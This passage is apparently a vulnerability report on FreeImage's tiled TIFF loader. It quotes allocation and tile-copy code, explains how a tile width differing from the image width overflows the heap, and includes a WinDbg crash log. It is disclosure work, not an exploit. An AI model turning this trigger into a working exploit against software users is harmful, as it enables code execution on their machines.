        bitmap\->data \= (BYTE \*)FreeImage\_Aligned\_Malloc(dib\_size \* sizeof(BYTE), FIBITMAP\_ALIGNMENT);   //<---- real alloc function
.......
}

in FreeImage\_GetInternalImageSize(), it calc alloc size

static size\_t
FreeImage\_GetInternalImageSize(BOOL header\_only, unsigned width, unsigned height, unsigned bpp, BOOL need\_masks) {
size\_t dib\_size \= sizeof(FREEIMAGEHEADER);
......
if(!header\_only) {
const size\_t header\_size \= dib\_size;

// pixels are aligned on a 16 bytes boundary
dib\_size += (size\_t)CalculatePitch(CalculateLine(width, bpp)) \* (size\_t)height;    //<--- alloc size by line lenght \* height, line lenght calc by width and bpp( \= bitspersample \* samplesperpixel)
......
}

return dib\_size;
}

but when we write memory, the read size calc by "tileWidth" and "width", loop (tileHeight//height) \* (tileWidth//width) times.

                for (uint32\_t y \= 0; y < height; y += tileHeight) {                                            //<-- loop tileHeight//height times
                    int32\_t nrows \= (y + tileHeight \> height ? height \- y : tileHeight);                    

                    for (uint32\_t x \= 0, rowSize \= 0; x < width; x += tileWidth, rowSize += tileRowSize) { //<-- loop tileWidth//width times
                        memset(tileBuffer, 0, tileSize);

                        // read one tile
                        if (TIFFReadTile(tif, tileBuffer, x, y, 0, 0) < 0) {
                            free(tileBuffer);
                            throw "Corrupted tiled TIFF file";
                        }
                        // convert to strip
                        if(x + tileWidth \> width) {
                            src\_line \= imageRowSize \- rowSize;
                        } else {
                            src\_line \= tileRowSize;
                        }
                        BYTE \*src\_bits \= tileBuffer;
                        BYTE \*dst\_bits \= bits + rowSize;
                        for(int k \= 0; k < nrows; k++) {
                            memcpy(dst\_bits, src\_bits, MIN(dst\_pitch, src\_line));
                            src\_bits += tileRowSize;
                            dst\_bits \-= dst\_pitch;
                        }
                    }

                    bits \-= nrows \* dst\_pitch;
                }

Finally, it will cause the heap overflow if we make the result of "TileWidth" diff with "ImageWidth". Moreover, it may has the risk of arbitrary code execution.

windbg:

ModLoad: 10000000 105ee000   D:\\temp\\\_zzz\\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\\Windows\\SysWOW64\\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\\Windows\\SysWOW64\\WS2\_32.dll
ModLoad: 77050000 7710f000   C:\\Windows\\SysWOW64\\RPCRT4.dll
(8b8c.710): Break instruction exception \- code 80000003 (first chance)
eax\=00000000 ebx\=00000000 ecx\=dd680000 edx\=00000000 esi\=77442044 edi\=7744260c
eip\=774e1b72 esp\=006ff63c ebp\=006ff668 iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000\> g
(8b8c.710): Access violation \- code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
\*\*\* WARNING: Unable to verify checksum for D:\\temp\\\_zzz\\FreeImage.dll
eax\=00000049 ebx\=00000008 ecx\=00000001 edx\=00000001 esi\=06667fd0 edi\=06662000
eip\=102a6e8f esp\=006ff86c ebp\=006ffa58 iopl\=0         nv up ei pl nz na po nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00010202
FreeImage!memcpy+0x51f:
102a6e8f 8807            mov     byte ptr \[edi\],al          ds:002b:06662000\=??
0:000\> db edi\-0x20
06661fe0  00 00 00 00 00 00 00 00\-2a 2a 2a 2a 2a 2a 2a 2a  ........\*\*\*\*\*\*\*\*
06661ff0  49 49 49 49 49 49 49 49-49 49 49 49 49 49 49 49  IIIIIIIIIIIIIIII
06662000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000\> kv
 \# ChildEBP RetAddr      Args to Child              
00 006ff870 100378e8     06662000 06667fd0 00000001 FreeImage!memcpy+0x51f (FPO: \[3,0,2\]) (CONV: cdecl) \[d:\\agent\\\_work\\4\\s\\src\\vctools\\crt\\vcruntime\\src\\string\\i386\\memcpy.asm @ 669\] 
01 006ffabc 1000d9de     006ffb10 06619fc8 06667fd0 FreeImage!\_TIFFmemcmp+0x2d28 (FPO: \[5,139,3\])
02 006ffaf0 1000da60     00000012 006ffb10 06619fc8 FreeImage!FreeImage\_LoadFromHandle+0x8e (FPO: \[Uses EBP\] \[4,3,2\])
03 006ffb1c 00b0107b     00000012 06615fee 00000000 FreeImage!FreeImage\_Load+0x50 (FPO: \[3,4,2\])

TestFile:

\=

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